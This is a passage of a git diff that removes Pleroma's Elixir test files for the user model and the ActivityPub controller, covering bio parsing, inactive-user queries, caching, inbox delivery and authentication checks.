account (confirmation required)" do - Pleroma.Config.put([:instance, :account_activation_required], true) - - user = insert(:user, local: true, confirmation_pending: true) - other_user = insert(:user, local: true, is_admin: true) - - assert User.visible_for(user, other_user) == :visible - end - end - - describe "parse_bio/2" do - test "preserves hosts in user links text" do - remote_user = insert(:user, local: false, nickname: "nick@domain.com") - user = insert(:user) - bio = "A.k.a. @nick@domain.com" - - expected_text = - ~s(A.k.a. <span class="h-card"><a class="u-url mention" data-user="#{remote_user.id}" href="#{ - remote_user.ap_id - }" rel="ugc">@<span>nick@domain.com</span></a></span>) - - assert expected_text == User.parse_bio(bio, user) - end - - test "Adds rel=me on linkbacked urls" do - user = insert(:user, ap_id: "https://social.example.org/users/lain") - - bio = "http://example.com/rel_me/null" - expected_text = "<a href=\"#{bio}\">#{bio}</a>" - assert expected_text == User.parse_bio(bio, user) - - bio = "http://example.com/rel_me/link" - expected_text = "<a href=\"#{bio}\" rel=\"me\">#{bio}</a>" - assert expected_text == User.parse_bio(bio, user) - - bio = "http://example.com/rel_me/anchor" - expected_text = "<a href=\"#{bio}\" rel=\"me\">#{bio}</a>" - assert expected_text == User.parse_bio(bio, user) - end - end - - test "follower count is updated when a follower is blocked" do - user = insert(:user) - follower = insert(:user) - follower2 = insert(:user) - follower3 = insert(:user) - - {:ok, follower} = User.follow(follower, user) - {:ok, _follower2} = User.follow(follower2, user) - {:ok, _follower3} = User.follow(follower3, user) - - {:ok, _user_relationship} = User.block(user, follower) - user = refresh_record(user) - - assert user.follower_count == 2 - end - - describe "list_inactive_users_query/1" do - defp days_ago(days) do - NaiveDateTime.add( - NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), - -days * 60 * 60 * 24, - :second - ) - end - - test "Users are inactive by default" do - total = 10 - - users = - Enum.map(1..total, fn _ -> - insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) - end) - - inactive_users_ids = - Pleroma.User.list_inactive_users_query() - |> Pleroma.Repo.all() - |> Enum.map(& &1.id) - - Enum.each(users, fn user -> - assert user.id in inactive_users_ids - end) - end - - test "Only includes users who has no recent activity" do - total = 10 - - users = - Enum.map(1..total, fn _ -> - insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) - end) - - {inactive, active} = Enum.split(users, trunc(total / 2)) - - Enum.map(active, fn user -> - to = Enum.random(users -- [user]) - - {:ok, _} = - CommonAPI.post(user, %{ - status: "hey @#{to.nickname}" - }) - end) - - inactive_users_ids = - Pleroma.User.list_inactive_users_query() - |> Pleroma.Repo.all() - |> Enum.map(& &1.id) - - Enum.each(active, fn user -> - refute user.id in inactive_users_ids - end) - - Enum.each(inactive, fn user -> - assert user.id in inactive_users_ids - end) - end - - test "Only includes users with no read notifications" do - total = 10 - - users = - Enum.map(1..total, fn _ -> - insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) - end) - - [sender | recipients] = users - {inactive, active} = Enum.split(recipients, trunc(total / 2)) - - Enum.each(recipients, fn to -> - {:ok, _} = - CommonAPI.post(sender, %{ - status: "hey @#{to.nickname}" - }) - - {:ok, _} = - CommonAPI.post(sender, %{ - status: "hey again @#{to.nickname}" - }) - end) - - Enum.each(active, fn user -> - [n1, _n2] = Pleroma.Notification.for_user(user) - {:ok, _} = Pleroma.Notification.read_one(user, n1.id) - end) - - inactive_users_ids = - Pleroma.User.list_inactive_users_query() - |> Pleroma.Repo.all() - |> Enum.map(& &1.id) - - Enum.each(active, fn user -> - refute user.id in inactive_users_ids - end) - - Enum.each(inactive, fn user -> - assert user.id in inactive_users_ids - end) - end - end - - describe "toggle_confirmation/1" do - test "if user is confirmed" do - user = insert(:user, confirmation_pending: false) - {:ok, user} = User.toggle_confirmation(user) - - assert user.confirmation_pending - assert user.confirmation_token - end - - test "if user is unconfirmed" do - user = insert(:user, confirmation_pending: true, confirmation_token: "some token") - {:ok, user} = User.toggle_confirmation(user) - - refute user.confirmation_pending - refute user.confirmation_token - end - end - - describe "ensure_keys_present" do - test "it creates keys for a user and stores them in info" do - user = insert(:user) - refute is_binary(user.keys) - {:ok, user} = User.ensure_keys_present(user) - assert is_binary(user.keys) - end - - test "it doesn't create keys if there already are some" do - user = insert(:user, keys: "xxx") - {:ok, user} = User.ensure_keys_present(user) - assert user.keys == "xxx" - end - end - - describe "get_ap_ids_by_nicknames" do - test "it returns a list of AP ids for a given set of nicknames" do - user = insert(:user) - user_two = insert(:user) - - ap_ids = User.get_ap_ids_by_nicknames([user.nickname, user_two.nickname, "nonexistent"]) - assert length(ap_ids) == 2 - assert user.ap_id in ap_ids - assert user_two.ap_id in ap_ids - end - end - - describe "sync followers count" do - setup do - user1 = insert(:user, local: false, ap_id: "http://localhost:4001/users/masto_closed") - user2 = insert(:user, local: false, ap_id: "http://localhost:4001/users/fuser2") - insert(:user, local: true) - insert(:user, local: false, deactivated: true) - {:ok, user1: user1, user2: user2} - end - - test "external_users/1 external active users with limit", %{user1: user1, user2: user2} do - [fdb_user1] = User.external_users(limit: 1) - - assert fdb_user1.ap_id - assert fdb_user1.ap_id == user1.ap_id - assert fdb_user1.id == user1.id - - [fdb_user2] = User.external_users(max_id: fdb_user1.id, limit: 1) - - assert fdb_user2.ap_id - assert fdb_user2.ap_id == user2.ap_id - assert fdb_user2.id == user2.id - - assert User.external_users(max_id: fdb_user2.id, limit: 1) == [] - end - end - - describe "is_internal_user?/1" do - test "non-internal user returns false" do - user = insert(:user) - refute User.is_internal_user?(user) - end - - test "user with no nickname returns true" do - user = insert(:user, %{nickname: nil}) - assert User.is_internal_user?(user) - end - - test "user with internal-prefixed nickname returns true" do - user = insert(:user, %{nickname: "internal.test"}) - assert User.is_internal_user?(user) - end - end - - describe "update_and_set_cache/1" do - test "returns error when user is stale instead Ecto.StaleEntryError" do - user = insert(:user) - - changeset = Ecto.Changeset.change(user, bio: "test") - - Repo.delete(user) - - assert {:error, %Ecto.Changeset{errors: [id: {"is stale", [stale: true]}], valid?: false}} = - User.update_and_set_cache(changeset) - end - - test "performs update cache if user updated" do - user = insert(:user) - assert {:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") - - changeset = Ecto.Changeset.change(user, bio: "test-bio") - - assert {:ok, %User{bio: "test-bio"} = user} = User.update_and_set_cache(changeset) - assert {:ok, user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") - assert %User{bio: "test-bio"} = User.get_cached_by_ap_id(user.ap_id) - end - end - - describe "following/followers synchronization" do - setup do: clear_config([:instance, :external_user_synchronization]) - - test "updates the counters normally on following/getting a follow when disabled" do - Pleroma.Config.put([:instance, :external_user_synchronization], false) - user = insert(:user) - - other_user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_closed/followers", - following_address: "http://localhost:4001/users/masto_closed/following", - ap_enabled: true - ) - - assert other_user.following_count == 0 - assert other_user.follower_count == 0 - - {:ok, user} = Pleroma.User.follow(user, other_user) - other_user = Pleroma.User.get_by_id(other_user.id) - - assert user.following_count == 1 - assert other_user.follower_count == 1 - end - - test "syncronizes the counters with the remote instance for the followed when enabled" do - Pleroma.Config.put([:instance, :external_user_synchronization], false) - - user = insert(:user) - - other_user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_closed/followers", - following_address: "http://localhost:4001/users/masto_closed/following", - ap_enabled: true - ) - - assert other_user.following_count == 0 - assert other_user.follower_count == 0 - - Pleroma.Config.put([:instance, :external_user_synchronization], true) - {:ok, _user} = User.follow(user, other_user) - other_user = User.get_by_id(other_user.id) - - assert other_user.follower_count == 437 - end - - test "syncronizes the counters with the remote instance for the follower when enabled" do - Pleroma.Config.put([:instance, :external_user_synchronization], false) - - user = insert(:user) - - other_user = - insert(:user, - local: false, - follower_address: "http://localhost:4001/users/masto_closed/followers", - following_address: "http://localhost:4001/users/masto_closed/following", - ap_enabled: true - ) - - assert other_user.following_count == 0 - assert other_user.follower_count == 0 - - Pleroma.Config.put([:instance, :external_user_synchronization], true) - {:ok, other_user} = User.follow(other_user, user) - - assert other_user.following_count == 152 - end - end - - describe "change_email/2" do - setup do - [user: insert(:user)] - end - - test "blank email returns error", %{user: user} do - assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, "") - assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, nil) - end - - test "non unique email returns error", %{user: user} do - %{email: email} = insert(:user) - - assert {:error, %{errors: [email: {"has already been taken", _}]}} = - User.change_email(user, email) - end - - test "invalid email returns error", %{user: user} do - assert {:error, %{errors: [email: {"has invalid format", _}]}} = - User.change_email(user, "cofe") - end - - test "changes email", %{user: user} do - assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party") - end - end - - describe "get_cached_by_nickname_or_id" do - setup do - local_user = insert(:user) - remote_user = insert(:user, nickname: "nickname@example.com", local: false) - - [local_user: local_user, remote_user: remote_user] - end - - setup do: clear_config([:instance, :limit_to_local_content]) - - test "allows getting remote users by id no matter what :limit_to_local_content is set to", %{ - remote_user: remote_user - } do - Pleroma.Config.put([:instance, :limit_to_local_content], false) - assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) - - Pleroma.Config.put([:instance, :limit_to_local_content], true) - assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) - - Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) - assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) - end - - test "disallows getting remote users by nickname without authentication when :limit_to_local_content is set to :unauthenticated", - %{remote_user: remote_user} do - Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) - assert nil == User.get_cached_by_nickname_or_id(remote_user.nickname) - end - - test "allows getting remote users by nickname with authentication when :limit_to_local_content is set to :unauthenticated", - %{remote_user: remote_user, local_user: local_user} do - Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) - assert %User{} = User.get_cached_by_nickname_or_id(remote_user.nickname, for: local_user) - end - - test "disallows getting remote users by nickname when :limit_to_local_content is set to true", - %{remote_user: remote_user} do - Pleroma.Config.put([:instance, :limit_to_local_content], true) - assert nil == User.get_cached_by_nickname_or_id(remote_user.nickname) - end - - test "allows getting local users by nickname no matter what :limit_to_local_content is set to", - %{local_user: local_user} do - Pleroma.Config.put([:instance, :limit_to_local_content], false) - assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) - - Pleroma.Config.put([:instance, :limit_to_local_content], true) - assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) - - Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) - assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) - end - end - - describe "update_email_notifications/2" do - setup do - user = insert(:user, email_notifications: %{"digest" => true}) - - {:ok, user: user} - end - - test "Notifications are updated", %{user: user} do - true = user.email_notifications["digest"] - assert {:ok, result} = User.update_email_notifications(user, %{"digest" => false}) - assert result.email_notifications["digest"] == false - end - end - - test "avatar fallback" do - user = insert(:user) - assert User.avatar_url(user) =~ "/images/avi.png" - - clear_config([:assets, :default_user_avatar], "avatar.png") - - user = User.get_cached_by_nickname_or_id(user.nickname) - assert User.avatar_url(user) =~ "avatar.png" - - assert User.avatar_url(user, no_default: true) == nil - end -end diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs deleted file mode 100644 index 0517571f2..000000000 --- a/test/web/activity_pub/activity_pub_controller_test.exs +++ /dev/null @@ -1,1550 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do - use Pleroma.Web.ConnCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.Delivery - alias Pleroma.Instances - alias Pleroma.Object - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.ObjectView - alias Pleroma.Web.ActivityPub.Relay - alias Pleroma.Web.ActivityPub.UserView - alias Pleroma.Web.ActivityPub.Utils - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Endpoint - alias Pleroma.Workers.ReceiverWorker - - import Pleroma.Factory - - require Pleroma.Constants - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance, :federating], true) - - describe "/relay" do - setup do: clear_config([:instance, :allow_relay]) - - test "with the relay active, it returns the relay user", %{conn: conn} do - res = - conn - |> get(activity_pub_path(conn, :relay)) - |> json_response(200) - - assert res["id"] =~ "/relay" - end - - test "with the relay disabled, it returns 404", %{conn: conn} do - Config.put([:instance, :allow_relay], false) - - conn - |> get(activity_pub_path(conn, :relay)) - |> json_response(404) - end - - test "on non-federating instance, it returns 404", %{conn: conn} do - Config.put([:instance, :federating], false) - user = insert(:user) - - conn - |> assign(:user, user) - |> get(activity_pub_path(conn, :relay)) - |> json_response(404) - end - end - - describe "/internal/fetch" do - test "it returns the internal fetch user", %{conn: conn} do - res = - conn - |> get(activity_pub_path(conn, :internal_fetch)) - |> json_response(200) - - assert res["id"] =~ "/fetch" - end - - test "on non-federating instance, it returns 404", %{conn: conn} do - Config.put([:instance, :federating], false) - user = insert(:user) - - conn - |> assign(:user, user) - |> get(activity_pub_path(conn, :internal_fetch)) - |> json_response(404) - end - end - - describe "/users/:nickname" do - test "it returns a json representation of the user with accept application/json", %{ - conn: conn - } do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/users/#{user.nickname}") - - user = User.get_cached_by_id(user.id) - - assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) - end - - test "it returns a json representation of the user with accept application/activity+json", %{ - conn: conn - } do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}") - - user = User.get_cached_by_id(user.id) - - assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) - end - - test "it returns a json representation of the user with accept application/ld+json", %{ - conn: conn - } do - user = insert(:user) - - conn = - conn - |> put_req_header( - "accept", - "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" - ) - |> get("/users/#{user.nickname}") - - user = User.get_cached_by_id(user.id) - - assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) - end - - test "it returns 404 for remote users", %{ - conn: conn - } do - user = insert(:user, local: false, nickname: "remoteuser@example.com") - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/users/#{user.nickname}.json") - - assert json_response(conn, 404) - end - - test "it returns error when user is not found", %{conn: conn} do - response = - conn - |> put_req_header("accept", "application/json") - |> get("/users/jimm") - |> json_response(404) - - assert response == "Not found" - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - - conn = - put_req_header( - conn, - "accept", - "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" - ) - - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}.json", user) - end - end - - describe "mastodon compatibility routes" do - test "it returns a json representation of the object with accept application/json", %{ - conn: conn - } do - {:ok, object} = - %{ - "type" => "Note", - "content" => "hey", - "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", - "actor" => Endpoint.url() <> "/users/raymoo", - "to" => [Pleroma.Constants.as_public()] - } - |> Object.create() - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/users/raymoo/statuses/999999999") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: object}) - end - - test "it returns a json representation of the activity with accept application/json", %{ - conn: conn - } do - {:ok, object} = - %{ - "type" => "Note", - "content" => "hey", - "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", - "actor" => Endpoint.url() <> "/users/raymoo", - "to" => [Pleroma.Constants.as_public()] - } - |> Object.create() - - {:ok, activity, _} = - %{ - "id" => object.data["id"] <> "/activity", - "type" => "Create", - "object" => object.data["id"], - "actor" => object.data["actor"], - "to" => object.data["to"] - } - |> ActivityPub.persist(local: true) - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/users/raymoo/statuses/999999999/activity") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: activity}) - end - end - - describe "/objects/:uuid" do - test "it returns a json representation of the object with accept application/json", %{ - conn: conn - } do - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/objects/#{uuid}") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) - end - - test "it returns a json representation of the object with accept application/activity+json", - %{conn: conn} do - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) - end - - test "it returns a json representation of the object with accept application/ld+json", %{ - conn: conn - } do - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header( - "accept", - "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" - ) - |> get("/objects/#{uuid}") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) - end - - test "it returns 404 for non-public messages", %{conn: conn} do - note = insert(:direct_note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn, 404) - end - - test "it returns 404 for tombstone objects", %{conn: conn} do - tombstone = insert(:tombstone) - uuid = String.split(tombstone.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn, 404) - end - - test "it caches a response", %{conn: conn} do - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn1 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn1, :ok) - assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) - - conn2 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn1, :ok) == json_response(conn2, :ok) - assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"})) - end - - test "cached purged after object deletion", %{conn: conn} do - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn1 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert json_response(conn1, :ok) - assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) - - Object.delete(note) - - conn2 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/objects/#{uuid}") - - assert "Not found" == json_response(conn2, :not_found) - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/objects/#{uuid}", user) - end - end - - describe "/activities/:uuid" do - test "it returns a json representation of the activity", %{conn: conn} do - activity = insert(:note_activity) - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert json_response(conn, 200) == ObjectView.render("object.json", %{object: activity}) - end - - test "it returns 404 for non-public activities", %{conn: conn} do - activity = insert(:direct_note_activity) - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert json_response(conn, 404) - end - - test "it caches a response", %{conn: conn} do - activity = insert(:note_activity) - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn1 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert json_response(conn1, :ok) - assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) - - conn2 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert json_response(conn1, :ok) == json_response(conn2, :ok) - assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"})) - end - - test "cached purged after activity deletion", %{conn: conn} do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "cofe"}) - - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn1 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert json_response(conn1, :ok) - assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) - - Activity.delete_all_by_object_ap_id(activity.object.data["id"]) - - conn2 = - conn - |> put_req_header("accept", "application/activity+json") - |> get("/activities/#{uuid}") - - assert "Not found" == json_response(conn2, :not_found) - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - activity = insert(:note_activity) - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/activities/#{uuid}", user) - end - end - - describe "/inbox" do - test "it inserts an incoming activity into the database", %{conn: conn} do - data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/inbox", data) - - assert "ok" == json_response(conn, 200) - - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - @tag capture_log: true - test "it inserts an incoming activity into the database" <> - "even if we can't fetch the user but have it in our db", - %{conn: conn} do - user = - insert(:user, - ap_id: "https://mastodon.example.org/users/raymoo", - ap_enabled: true, - local: false, - last_refreshed_at: nil - ) - - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - |> Map.put("actor", user.ap_id) - |> put_in(["object", "attridbutedTo"], user.ap_id) - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/inbox", data) - - assert "ok" == json_response(conn, 200) - - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - test "it clears `unreachable` federation status of the sender", %{conn: conn} do - data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() - - sender_url = data["actor"] - Instances.set_consistently_unreachable(sender_url) - refute Instances.reachable?(sender_url) - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/inbox", data) - - assert "ok" == json_response(conn, 200) - assert Instances.reachable?(sender_url) - end - - test "accept follow activity", %{conn: conn} do - Pleroma.Config.put([:instance, :federating], true) - relay = Relay.get_actor() - - assert {:ok, %Activity{} = activity} = Relay.follow("https://relay.mastodon.host/actor") - - followed_relay = Pleroma.User.get_by_ap_id("https://relay.mastodon.host/actor") - relay = refresh_record(relay) - - accept = - File.read!("test/fixtures/relay/accept-follow.json") - |> String.replace("{{ap_id}}", relay.ap_id) - |> String.replace("{{activity_id}}", activity.data["id"]) - - assert "ok" == - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/inbox", accept) - |> json_response(200) - - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - - assert Pleroma.FollowingRelationship.following?( - relay, - followed_relay - ) - - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) - assert_receive {:mix_shell, :info, ["https://relay.mastodon.host/actor"]} - end - - @tag capture_log: true - test "without valid signature, " <> - "it only accepts Create activities and requires enabled federation", - %{conn: conn} do - data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() - non_create_data = File.read!("test/fixtures/mastodon-announce.json") |> Poison.decode!() - - conn = put_req_header(conn, "content-type", "application/activity+json") - - Config.put([:instance, :federating], false) - - conn - |> post("/inbox", data) - |> json_response(403) - - conn - |> post("/inbox", non_create_data) - |> json_response(403) - - Config.put([:instance, :federating], true) - - ret_conn = post(conn, "/inbox", data) - assert "ok" == json_response(ret_conn, 200) - - conn - |> post("/inbox", non_create_data) - |> json_response(400) - end - end - - describe "/users/:nickname/inbox" do - setup do - data = - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - - [data: data] - end - - test "it inserts an incoming activity into the database", %{conn: conn, data: data} do - user = insert(:user) - data = Map.put(data, "bcc", [user.ap_id]) - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - test "it accepts messages with to as string instead of array", %{conn: conn, data: data} do - user = insert(:user) - - data = - Map.put(data, "to", user.ap_id) - |> Map.delete("cc") - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - test "it accepts messages with cc as string instead of array", %{conn: conn, data: data} do - user = insert(:user) - - data = - Map.put(data, "cc", user.ap_id) - |> Map.delete("to") - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - %Activity{} = activity = Activity.get_by_ap_id(data["id"]) - assert user.ap_id in activity.recipients - end - - test "it accepts messages with bcc as string instead of array", %{conn: conn, data: data} do - user = insert(:user) - - data = - Map.put(data, "bcc", user.ap_id) - |> Map.delete("to") - |> Map.delete("cc") - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - test "it accepts announces with to as string instead of array", %{conn: conn} do - user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "hey"}) - announcer = insert(:user, local: false) - - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => announcer.ap_id, - "id" => "#{announcer.ap_id}/statuses/19512778738411822/activity", - "object" => post.data["object"], - "to" => "https://www.w3.org/ns/activitystreams#Public", - "cc" => [user.ap_id], - "type" => "Announce" - } - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - %Activity{} = activity = Activity.get_by_ap_id(data["id"]) - assert "https://www.w3.org/ns/activitystreams#Public" in activity.recipients - end - - test "it accepts messages from actors that are followed by the user", %{ - conn: conn, - data: data - } do - recipient = insert(:user) - actor = insert(:user, %{ap_id: "http://mastodon.example.org/users/actor"}) - - {:ok, recipient} = User.follow(recipient, actor) - - object = - data["object"] - |> Map.put("attributedTo", actor.ap_id) - - data = - data - |> Map.put("actor", actor.ap_id) - |> Map.put("object", object) - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{recipient.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - assert Activity.get_by_ap_id(data["id"]) - end - - test "it rejects reads from other users", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - conn = - conn - |> assign(:user, other_user) - |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/inbox") - - assert json_response(conn, 403) - end - - test "it returns a note activity in a collection", %{conn: conn} do - note_activity = insert(:direct_note_activity) - note_object = Object.normalize(note_activity) - user = User.get_cached_by_ap_id(hd(note_activity.data["to"])) - - conn = - conn - |> assign(:user, user) - |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/inbox?page=true") - - assert response(conn, 200) =~ note_object.data["content"] - end - - test "it clears `unreachable` federation status of the sender", %{conn: conn, data: data} do - user = insert(:user) - data = Map.put(data, "bcc", [user.ap_id]) - - sender_host = URI.parse(data["actor"]).host - Instances.set_consistently_unreachable(sender_host) - refute Instances.reachable?(sender_host) - - conn = - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/inbox", data) - - assert "ok" == json_response(conn, 200) - assert Instances.reachable?(sender_host) - end - - test "it removes all follower collections but actor's", %{conn: conn} do - [actor, recipient] = insert_pair(:user) - - data = - File.read!("test/fixtures/activitypub-client-post-activity.json") - |> Poison.decode!() - - object = Map.put(data["object"], "attributedTo", actor.ap_id) - - data = - data - |> Map.put("id", Utils.generate_object_id()) - |> Map.put("actor", actor.ap_id) - |> Map.put("object", object) - |> Map.put("cc", [ - recipient.follower_address, - actor.follower_address - ]) - |> Map.put("to", [ - recipient.ap_id, - recipient.follower_address, - "https://www.w3.org/ns/activitystreams#Public" - ]) - - conn - |> assign(:valid_signature, true) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{recipient.nickname}/inbox", data) - |> json_response(200) - - ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) - - activity = Activity.get_by_ap_id(data["id"]) - - assert activity.id - assert actor.follower_address in activity.recipients - assert actor.follower_address in activity.data["cc"] - - refute recipient.follower_address in activity.recipients - refute recipient.follower_address in activity.data["cc"] - refute recipient.follower_address in activity.data["to"] - end - - test "it requires authentication", %{conn: conn} do - user = insert(:user) - conn = put_req_header(conn, "accept", "application/activity+json") - - ret_conn = get(conn, "/users/#{user.nickname}/inbox") - assert json_response(ret_conn, 403) - - ret_conn = - conn - |> 